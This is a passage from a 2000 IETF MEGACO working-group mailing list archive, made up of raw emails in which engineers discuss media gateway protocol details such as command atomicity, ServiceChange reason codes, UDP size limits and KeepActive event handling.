descriptor returned in a subsequent audit would only show the events for which the MG is currently scanning" Michael Brown "Rosen, Brian" wrote: > At some point, we have to stop holding up release of the document for > changes such as this where a request is made to clarify behavior as > opposed to changing behavior. I believe that point has already occurred, > but that is for the group to decide. > > Brian > > > -----Original Message----- > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > Sent: Monday, January 31, 2000 3:18 AM > > To: MEGACO@standards.nortelnetworks.com > > Subject: Re: Cisco SG16: Command Atomicity > > > > > > I think that although MG is dumb and MGC has the full responsiblitiy > > of command sequencing some kind of guidelines should be there for MGC. > > A step in this direction is already taken by moving "Ordering > > of commands" > > to section 9.1 from "transport over IP". > > > > This can include cases like the race condition we discussed > > in this thread > > and may be the following (taken from other thread): > > > > Quote starts................ > > > The MGC is responsible for making the state consistent, and this > > > means getting the Subtract through. > > > > > > A termination could be out of service, but still in a context, > > > and would be under failure conditions. The MGC must run the > > > Subtract command to get the state reasonable. > > > > > > If a command other than Subtract (or ServiceChange) was > > received on a > > > termination that is out of service, an error should be returned. > > End quoted text........................... > > > > One important thing about the above quoted text is that MG is also > > co-operating with MGC for bringing the termination to a > > reasonable state > > > > > > > > > > > > > > "Rosen, Brian" on 01/29/2000 01:10:03 AM > > > > Please respond to "Rosen, Brian" > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > cc: (bcc: Sachin Mittal/HSS) > > > > Subject: Re: Cisco SG16: Command Atomicity > > > > > > > > > > I have advocated since day one that commands should be atomic. > > Indeed, I believe transactions should be atomic. I was > > in a minority who believed that backing out of > > a failed transaction a couple of commands in was too hard. > > > > Now we notice that same applies to a command, a couple of > > descriptors in. If a command is atomic, and it fails, then > > you have to back out of whatever you started, and leave the > > state of the MG the same as it was before you started > > executing the command. > > > > Count me as in favor of atomic commands. > > Of course, count me as in favor of atomic transactions, although > > it's probably easier to back out of a command than a transaction; > > not much easier, but easier. > > > > Note that the text now recommends additional information be > > appended to an error descriptor. I think codifying such behavior > > is better left for another day; we need more experience before > > we try to write down what ought to be included. > > > > Your specific issue with MOVE's interaction with NOTIFY is > > a little puzzling. I'm guessing you are worried that > > there is an active EventsDescriptor on a termination, and then > > you MOVE that termination to another context. The question > > arises, what should occur if the event happens during the processing > > of the MOVE. > > > > This is a kind of race condition. If the MGC has left itself open > > for such a problem, then it had better not matter to it that it > > could see a Notify from an earlier EventsDescriptor after it sends > > a Move. If the Move arrived after the Notify was issued, the problem > > is the same as if the Notify were issued in the middle of, or even > > after the Move. > > > > Brian > > > > > -----Original Message----- > > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > > Sent: Thursday, January 27, 2000 11:54 PM > > > To: MEGACO@standards.nortelnetworks.com > > > Subject: Re: Cisco SG16: Command Atomicity > > > > > > > > > This issue has another consequence. For example while > > > processing MOVE command > > > if any event need to be NOTIFIED to MGC, then this notify > > > message need to be > > > delayed > > > till the time response of move is sent. This introduces > > > latency in sending the > > > notify message > > > which by its purpose should not be delayed (MOVE has to tear > > > down old star > > > connection > > > and create a new one in the destination context which may > > take time). > > > > > > Any comments >>> > > > > > > > > > > > > > > > > > > > > > Chip Sharp on 01/26/2000 05:35:49 AM > > > > > > Please respond to Chip Sharp > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > cc: (bcc: Sachin Mittal/HSS) > > > > > > Subject: Cisco SG16: Command Atomicity > > > > > > > > > > > > > > > Section: 8 > > > Category: Technical, Editorial > > > Issue: It is unclear if commands are atomic or not. > > > More specifically, > > > if > > > a command contains signals, events or digit map > > descriptors, will they > > > still be applied if the command fails ? If not, should the > > > state of the > > > termination be reset (i.e. clear the signals, events, digit > > > map named in > > > the command that has failed, as in MGCP 0.1) or maintained > > > (i.e. as if the > > > command is not received, as in MGCP 1.0) ? > > > Proposal: It is recommended that commands are atomic so > > > that failed > > > commands leave the gateway in a well known state. It is furthermore > > > proposed, that a response descriptor should be added to the > > > responses so > > > that if a command fails, the gateway can provide more > > > information to the > > > MGC, rather than just an error code, e.g. for redirection. > > > > > > v13 Status: OPEN. No relevant text changed. > > > > > > > > > Support NetAid! http://www.netaid.org > > > -------------------------------------------------- > > > Chip Sharp Consulting Engineering > > > Cisco Systems Telco Bio-region > > > Reality - Love it or Leave it. > > > -------------------------------------------------- > > > > > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 15:08:42 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28715 for ; Thu, 3 Feb 2000 15:08:41 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.232025B0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 15:05:41 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 21658 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 15:04:42 -0500 Received: from fw3.dsccc.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.99C80A90@standards.nortelnetworks.com>; Thu, 3 Feb 2000 14:54:41 -0500 Received: (from uucp@localhost) by fw3.dsccc.com (8.8.8+Sun/8.8.8) id NAA22835 for ; Thu, 3 Feb 2000 13:56:13 -0600 (CST) Received: from relay1.dsccc.com(10.17.102.29) by fw3 via smap (V2.0) id xma022766; Thu, 3 Feb 00 13:55:10 -0600 Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by relay1.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id NAA24793 for ; Thu, 3 Feb 2000 13:55:04 -0600 (CST) Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com (Netscape Messaging Server 3.6) with ESMTP id AAA3216 for ; Thu, 3 Feb 2000 13:55:04 -0600 Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with ESMTP id NAA15638 for ; Thu, 3 Feb 2000 13:54:18 -0600 (CST) Received: from usa.alcatel.com (localhost [127.0.0.1]) by sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id NAA21437 for ; Thu, 3 Feb 2000 13:54:17 -0600 (CST) X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="------------4D92B1D89BF3E0BCEDE22ED7" Message-ID: <3899DCE9.5DA1E2D2@usa.alcatel.com> Date: Thu, 3 Feb 2000 13:54:17 -0600 Reply-To: Chuong Nguyen Sender: "Media Gateway Control (megaco)" From: Chuong Nguyen Subject: ServiceChange Reason Code To: MEGACO@STANDARDS.NORTELNETWORKS.COM --------------4D92B1D89BF3E0BCEDE22ED7 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi Can someone look at the following and provide some inputs as whether it is correct or complete? Do we really need so many Reason Code? If we do, according to section 13.3 "A complete description of the condition under which the reason is used is detected shall ...." ----------- (somekind of typo here) Thanks Chuong Direction TermId Method Reason MG->MGC ROOT Restart 900 Service Restored ?? 901 MG Cold Boot 902 MG Warm Boot MGC->MG ROOT Handoff 908 MGC Impending Failure ?? MG->MGC ROOT Failover 903 MGC Directed Change 908 MG Impending Failure 909 MGC Impending Failure MG->MGC termId(s) Restart 900 Service Restored Forced 905 Termination taken out of service Graceful 904 Termination malfunctioning 906 Loss of lower layer connectivity 907 Transmission Failure 910 Media Capability Failure 911 Modem Capability Failure 912 Mux Capability Failure 913 Signal Capability Failure 914 Event Capability Failure MG->MGC ROOT Disconnected 915 State Loss ---------------------------------------------------------- Direction TermId Method Reason MGC->MG ROOT Forced or Can we even allow this? Graceful If yes, 901 MG Cold Boot or 902 MG Warm Boot or 903 MGC Directed Change or? termId(s) Forced 905 Termination taken out of service termId(s) Graceful same reasons as MG-MGC? Can't be right because MG would already know what is wrong w/term before MGC. termId(s) Restart 900 Service Restored ??? 903 MGC Directed Change ROOT Restart Only if MG is up but out service. 900 MGC Service Restored ?? 903 MGC Directed Change Why would MGC needs to take terminations out of service? For ephemeral, it does not make sense. For physical, MG would know something is wrong with the termination before MGC would. Regardless, this is useful in a sense it prevents the MG from CHOOSING a termination that MGC wants to be out of service. I don't quite understand the needs for both Forced and Graceful here. I would think that the MGC would have Subtract the terminations before taking them out of service. This is because Force or Graceful does not take terminations out of context. So seems like it is always Forced. -- Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 **** The opinions expressed are not those of Alcatel USA, Inc **** --------------4D92B1D89BF3E0BCEDE22ED7 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi

Can someone look at the following and provide some inputs as whether it is correct or complete?
Do we really need so many Reason Code?
If we do, according to section 13.3 "A complete description of the condition under which the reason
is used is detected shall ...."
 ----------- (somekind of typo here)

Thanks
Chuong
 

Direction               TermId           Method          Reason
MG->MGC         ROOT            Restart          900 Service Restored ??
                                                                            901 MG Cold Boot
                                                                            902 MG Warm Boot
MGC->MG         ROOT            Handoff         908 MGC Impending Failure ??
MG->MGC         ROOT            Failover        903 MGC Directed Change
                                                                           908 MG Impending Failure
                                                                           909 MGC Impending Failure
MG->MGC         termId(s)       Restart         900 Service Restored
                                                      Forced          905 Termination taken out
                                                      of service
                                                      Graceful       904 Termination malfunctioning
                                                                           906 Loss of lower layer connectivity
                                                                           907 Transmission Failure
                                                                           910 Media Capability Failure
                                                                           911 Modem Capability Failure
                                                                           912 Mux Capability Failure
                                                                           913 Signal Capability Failure
                                                                           914 Event Capability Failure
MG->MGC        ROOT        Disconnected    915 State Loss
 

----------------------------------------------------------

Direction               TermId           Method          Reason
MGC->MG         ROOT            Forced or       Can we even allow this?
                                                     Graceful         If yes,
                                                                            901 MG Cold Boot or
                                                                            902 MG Warm Boot or
                                                                            903 MGC Directed Change or?
                             termId(s)        Forced          905 Termination taken out of service
                             termId(s)        Graceful        same reasons as MG-MGC?
                                                                          Can't be right because MG would already know
                                                                          what is wrong w/term before MGC.
                            termId(s)       Restart         900 Service Restored  ???
                                                                         903 MGC Directed Change
                            ROOT            Restart         Only if MG is up but out service.
                                                                         900 MGC Service Restored ??
                                                                         903 MGC Directed Change

Why would MGC needs to take terminations out of service?
For ephemeral, it does not make sense.
For physical, MG would know something is wrong with the termination
before MGC would.
Regardless, this is useful in a sense it prevents the MG from CHOOSING
a termination that MGC wants to be out of service.
I don't quite understand the needs for both Forced and Graceful here.
I would think that the MGC would have Subtract the terminations before
taking them out of service.  This is because Force or Graceful does not
take terminations out of context.
So seems like it is always Forced.
 
  

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****
  --------------4D92B1D89BF3E0BCEDE22ED7-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 15:12:27 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28775 for ; Thu, 3 Feb 2000 15:12:27 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B3C4F4B0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 15:09:44 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 21659 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 15:08:20 -0500 Received: from fw7.dsccc.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.1C1C73A0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 14:58:20 -0500 Received: (from uucp@localhost) by fw7.dsccc.com (8.8.8+Sun/8.8.8) id OAA20373 for ; Thu, 3 Feb 2000 14:00:24 -0600 (CST) Received: from relay1.dsccc.com(143.209.238.6) by fw7 via smap (V2.0) id xma020238; Thu, 3 Feb 00 14:00:09 -0600 Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by relay1.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id OAA26660 for ; Thu, 3 Feb 2000 14:00:06 -0600 (CST) Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com (Netscape Messaging Server 3.6) with ESMTP id AAA4860 for ; Thu, 3 Feb 2000 14:00:06 -0600 Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with ESMTP id NAA16234 for ; Thu, 3 Feb 2000 13:59:43 -0600 (CST) Received: from usa.alcatel.com (localhost [127.0.0.1]) by sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id NAA21441 for ; Thu, 3 Feb 2000 13:59:42 -0600 (CST) X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: Content-Type: multipart/alternative; boundary="------------76FAB5297C7DECF625EB6D0E" Message-ID: <3899DE2E.51B62C02@usa.alcatel.com> Date: Thu, 3 Feb 2000 13:59:42 -0600 Reply-To: Chuong Nguyen Sender: "Media Gateway Control (megaco)" From: Chuong Nguyen Subject: Re: maximum size of a VALUE To: MEGACO@STANDARDS.NORTELNETWORKS.COM --------------76FAB5297C7DECF625EB6D0E Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Tom-PT Taylor wrote: > > Unlike HTTP, SIP MAY use UDP. When sent over TCP or UDP, multiple > SIP > transactions can be carried in a single TCP connection or UDP > datagram. UDP datagrams, including all headers, SHOULD NOT be > larger > than the path maximum transmission unit (MTU) if the MTU is known, > or > 1500 bytes if the MTU is unknown. This blows the use of ALL in Audit or Subtract of the water. -- Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 **** The opinions expressed are not those of Alcatel USA, Inc **** --------------76FAB5297C7DECF625EB6D0E Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Tom-PT Taylor wrote:
 
   Unlike HTTP, SIP MAY use UDP. When sent over TCP or UDP, multiple SIP
   transactions can be carried in a single TCP connection or UDP
   datagram. UDP datagrams, including all headers, SHOULD NOT be larger
   than the path maximum transmission unit (MTU) if the MTU is known, or
   1500 bytes if the MTU is unknown.
This blows the use of ALL in Audit or Subtract of the water.



-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****

 

--------------76FAB5297C7DECF625EB6D0E--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 16:28:22 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA29899
	for ; Thu, 3 Feb 2000 16:28:17 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.3173BEF0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 16:24:50 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21775 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 16:23:04 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.F2704E80@standards.nortelnetworks.com>; Thu, 3 Feb 2000
          16:23:04 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Thu, 3 Feb 2000 21:19:26 +0000
Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 14:51:46 -0600
Received: from zrchb213.us.nortel.com by zmers013; Thu, 3 Feb 2000 15:44:07
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1F2TKQ8R>; Thu, 3 Feb 2000 14:44:05 -0600
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Thu, 3 Feb 2000 14:43:59 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: maximum size of a VALUE
X-To:         Chuong Nguyen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

The message may be that UDP is unsuitable if you are going to do that sort
of thing.

> -----Original Message-----
> From: Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM]
> Sent: Thursday, February 03, 2000 3:00 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: maximum size of a VALUE
>
> Tom-PT Taylor wrote:
>
>
>          Unlike HTTP, SIP MAY use UDP. When sent over TCP or UDP, multiple
> SIP
>          transactions can be carried in a single TCP connection or UDP
>          datagram. UDP datagrams, including all headers, SHOULD NOT be
> larger
>          than the path maximum transmission unit (MTU) if the MTU is
> known, or
>          1500 bytes if the MTU is unknown.
>
> This blows the use of ALL in Audit or Subtract of the water.
> --
>   Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
>   1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
>   **** The opinions expressed are not those of Alcatel USA, Inc ****
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 16:28:25 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA29908
	for ; Thu, 3 Feb 2000 16:28:22 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.31B42350@standards.nortelnetworks.com>; Thu, 3 Feb 2000 16:24:50 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21780 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 16:23:04 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.F26E0490@standards.nortelnetworks.com>; Thu, 3 Feb 2000
          16:23:04 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Thu, 3 Feb 2000 21:19:29 +0000
Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 14:51:46 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Thu, 3
          Feb 2000 15:22:06 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VBY8Q>; Thu, 3 Feb 2000 15:22:06 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6E84.56B6B57A"
Message-ID:  
Date:         Thu, 3 Feb 2000 15:22:00 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Keep Active
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6E84.56B6B57A
Content-Type: text/plain

I think the primary need here is for clarifying text in section 7.1.14
indicating that events mapped into a digit map do not generate
notifications, but do terminate ongoing signals unless the KeepActive flag
is set.

> -----Original Message-----
> From: Chip Sharp [SMTP:chsharp@CISCO.COM]
> Sent: Tuesday, January 25, 2000 7:43 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Cisco SG16: Keep Active
>
> Section:        7.1.9, "Event Actions" table
> Category:       Technical
> Issue:          The draft text specifies that "KeepActive:      As Notify,
> but
> production of signals continues (if any signals were active)".The above
> definition is overly restrictive in that it prevents events from being
> accumulated (either with or without digit map) and at the same time
> keeping
> a signal active. For example an IVR application accumulating a string of
> user input and playing an announcement until the entire string is
> accumulated cannot be supported with the above behaviour.
> Proposal:       It is recommended, that "KeepActive" does not generate a
> "Notify"
> and that it becomes possible to specify multiple actions such that
> "KeepActive" can be combined with, e.g. "Notify" or "AccumulateByDigitMap"
> depending on the particular application.
>
> v13 Status:     OPEN. Event actions table has been removed and extensive
> modification of entire event processing taken place.
>
>
> Section:        7.1.9
> Category:       Technical
> Issue:          The draft text specifies that "When KeepActive is
> specified as the
> event action, the media gateway shall send a Notify message to the
> controller upon detection of the event. Furthermore, the controller shall
> not interrupt any signals active on the Termination on which the event is
> detected" The above definition is overly restrictive in that it prevents
> events from being accumulated (either with or without digit map) and at
> the
> same time keeping a signal active. For example an IVR application
> accumulating a string of user input and playing an announcement until the
> entire string is accumulated cannot be supported with the above behaviour.
> Proposal:       It is recommended, that "KeepActive" does not generate a
> "Notify"
> and that it becomes possible to specify multiple actions such that
> "KeepActive" can be combined with, e.g. "Notify" or "AccumulateByDigitMap"
> depending on the particular application.
>
> v13 Status:     OPEN. Extensive modifications of event handling has taken
> place. Events now always reported immediately on detection.
>
>
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------

------_=_NextPart_001_01BF6E84.56B6B57A
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: Cisco SG16: Keep Active




I think the primary =
need here is for clarifying text in section 7.1.14 indicating that =
events mapped into a digit map do not generate notifications, but do =
terminate ongoing signals unless the KeepActive flag is set.


    

    -----Original Message-----

    From:   Chip Sharp [SMTP:chsharp@CISCO.COM]

    Sent:   Tuesday, January 25, 2000 7:43 PM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Cisco SG16: Keep Active

    


    Section:        =
7.1.9, "Event Actions" table

    Category:       =
Technical

    Issue:        &nb=
sp; The draft text specifies that =
"KeepActive:      As Notify, but

    production of signals continues (if =
any signals were active)".The above

    definition is overly restrictive in =
that it prevents events from being

    accumulated (either with or without =
digit map) and at the same time keeping

    a signal active. For example an IVR =
application accumulating a string of

    user input and playing an =
announcement until the entire string is

    accumulated cannot be supported with =
the above behaviour.

    Proposal:       It is =
recommended, that "KeepActive" does not generate a =
"Notify"

    and that it becomes possible to =
specify multiple actions such that

    "KeepActive" can be =
combined with, e.g. "Notify" or =
"AccumulateByDigitMap"

    depending on the particular =
application.

    


    v13 Status:     =
OPEN. Event actions table has been removed and extensive

    modification of entire event =
processing taken place.

    

    


    Section:        =
7.1.9

    Category:       =
Technical

    Issue:        &nb=
sp; The draft text specifies that "When KeepActive is specified as =
the

    event action, the media gateway shall =
send a Notify message to the

    controller upon detection of the =
event. Furthermore, the controller shall

    not interrupt any signals active on =
the Termination on which the event is

    detected" The above definition =
is overly restrictive in that it prevents

    events from being accumulated (either =
with or without digit map) and at the

    same time keeping a signal active. =
For example an IVR application

    accumulating a string of user input =
and playing an announcement until the

    entire string is accumulated cannot =
be supported with the above behaviour.

    Proposal:       It is =
recommended, that "KeepActive" does not generate a =
"Notify"

    and that it becomes possible to =
specify multiple actions such that

    "KeepActive" can be =
combined with, e.g. "Notify" or =
"AccumulateByDigitMap"

    depending on the particular =
application.

    


    v13 Status:     =
OPEN. Extensive modifications of event handling has taken

    place. Events now always reported =
immediately on detection.

    

    


    Support NetAid!  =
http://www.netaid.org

    --------------------------------------------------=


    Chip =
Sharp           &=
nbsp;     Consulting Engineering

    Cisco =
Systems           =
;   Telco Bio-region

    Reality - Love it or Leave it.

    --------------------------------------------------=


    




------_=_NextPart_001_01BF6E84.56B6B57A--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 16:28:27 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA29917
	for ; Thu, 3 Feb 2000 16:28:25 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.31F6F8B0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 16:24:50 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21785 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 16:23:05 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.F2705110@standards.nortelnetworks.com>; Thu, 3 Feb 2000
          16:23:04 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Thu, 3 Feb 2000 21:20:01 +0000
Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 14:51:49 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Thu, 3
          Feb 2000 15:42:57 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VBZSZ>; Thu, 3 Feb 2000 15:42:57 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6E87.3FD8A54A"
Message-ID:  
Date:         Thu, 3 Feb 2000 15:42:48 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: ServiceChange Reason Code
X-To:         Chuong Nguyen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6E87.3FD8A54A
Content-Type: text/plain;
        charset="iso-8859-1"

We certainly allow the MGC to force handover by means of the ServiceChange
method.

You're wondering why the MGC would put terminations out of service.  One
typical example would be if someone requests test access to a termination by
way of a management interface into the MGC.  There is nothing wrong with the
termination itself, so the MG can't predict this ahead of time.

This sort of action has more than just book-keeping value: it prevents the
MG from choosing the termination concerned if it would otherwise be selected
as the result of a wildcard match on terminationID.

> -----Original Message-----
> From: Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM]
> Sent: Thursday, February 03, 2000 2:54 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      ServiceChange Reason Code
>
> Hi
>
> Can someone look at the following and provide some inputs as whether it is
> correct or complete?
> Do we really need so many Reason Code?
> If we do, according to section 13.3 "A complete description of the
> condition under which the reason
> is used is detected shall ...."
>  ----------- (somekind of typo here)
>
> Thanks
> Chuong
>
>
> Direction               TermId           Method          Reason
> MG->MGC         ROOT            Restart          900 Service Restored ??
>
> 901 MG Cold Boot
>
> 902 MG Warm Boot
> MGC->MG         ROOT            Handoff         908 MGC Impending Failure
> ??
> MG->MGC         ROOT            Failover        903 MGC Directed Change
>
> 908 MG Impending Failure
>
> 909 MGC Impending Failure
> MG->MGC         termId(s)       Restart         900 Service Restored
>                                                       Forced          905
> Termination taken out
>                                                       of service
>                                                       Graceful       904
> Termination malfunctioning
>
> 906 Loss of lower layer connectivity
>
> 907 Transmission Failure
>
> 910 Media Capability Failure
>
> 911 Modem Capability Failure
>
> 912 Mux Capability Failure
>
> 913 Signal Capability Failure
>
> 914 Event Capability Failure
> MG->MGC        ROOT        Disconnected    915 State Loss
>
>
> ----------------------------------------------------------
>
> Direction               TermId           Method          Reason
> MGC->MG         ROOT            Forced or       Can we even allow this?
>                                                      Graceful         If
> yes,
>
> 901 MG Cold Boot or
>
> 902 MG Warm Boot or
>
> 903 MGC Directed Change or?
>                              termId(s)        Forced          905
> Termination taken out of service
>                              termId(s)        Graceful        same reasons
> as MG-MGC?
>
> Can't be right because MG would already know
>
> what is wrong w/term before MGC.
>                             termId(s)       Restart         900 Service
> Restored  ???
>
> 903 MGC Directed Change
>                             ROOT            Restart         Only if MG is
> up but out service.
>
> 900 MGC Service Restored ??
>
> 903 MGC Directed Change
>
> Why would MGC needs to take terminations out of service?
> For ephemeral, it does not make sense.
> For physical, MG would know something is wrong with the termination
> before MGC would.
> Regardless, this is useful in a sense it prevents the MG from CHOOSING
> a termination that MGC wants to be out of service.
> I don't quite understand the needs for both Forced and Graceful here.
> I would think that the MGC would have Subtract the terminations before
> taking them out of service.  This is because Force or Graceful does not
> take terminations out of context.
> So seems like it is always Forced.
>
>
> --
>   Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
>   1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
>   **** The opinions expressed are not those of Alcatel USA, Inc ****
>

------_=_NextPart_001_01BF6E87.3FD8A54A
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDMuMi8vRU4iPg0KPEhUTUw+
DQo8SEVBRD4NCjxNRVRBIEhUVFAtRVFVSVY9IkNvbnRlbnQtVHlwZSIgQ09OVEVOVD0idGV4dC9o
dG1sOyBjaGFyc2V0PWlzby04ODU5LTEiPg0KPE1FVEEgTkFNRT0iR2VuZXJhdG9yIiBDT05URU5U
